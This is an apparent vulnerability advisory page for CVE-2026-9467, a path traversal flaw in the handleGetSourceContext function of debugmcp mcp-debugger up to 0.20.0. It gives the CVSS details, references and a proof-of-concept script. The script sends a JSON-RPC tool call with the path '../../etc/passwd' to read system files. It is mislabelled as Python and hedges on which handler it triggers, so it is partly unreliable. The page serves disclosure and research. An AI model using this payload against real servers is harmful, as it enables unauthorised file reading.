CVE-2026-9467

Description

A vulnerability was identified in debugmcp mcp-debugger up to 0.20.0. Impacted is the function handleGetSourceContext of the file src/server.ts. The manipulation leads to path traversal. The attack is possible to be carried out remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

debugmcp mcp-debugger <= 0.20.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// PoC for CVE-2026-9467 in debugmcp mcp-debugger
// The vulnerability exists in the 'handleGetSourceContext' function
// allowing attackers to read arbitrary files via path traversal.

async function exploit(targetUrl) {
    // Malicious payload to traverse to the root directory and read /etc/passwd
    const maliciousPath = "../../etc/passwd";

    // Construct the request payload based on the MCP protocol or API endpoint
    const payload = {
        jsonrpc: "2.0",
        method: "tools/call", // Assuming this triggers the handler
        params: {
            name: "get_source_context",
            arguments: {
                path: maliciousPath
            }
        },
        id: 1
    };

    try {
        const response = await fetch(targetUrl, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify(payload)
        });
        const data = await response.json();
        console.log("Exploit result:", data);
    } catch (error) {
        console.error("Exploit failed:", error);
    }
}

// Usage: exploit("http://localhost:3000/mcp");

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9467
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9467
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9467/
[4] VulDB https://vuldb.com/cve/CVE-2026-9467
[5] https://github.com/hyk6225/public_exp/issues/1
[6] https://vuldb.com/submit/813980
[7] https://vuldb.com/vuln/365448
[8] https://vuldb.com/vuln/365448/cti

Raw JSON Data

JSON

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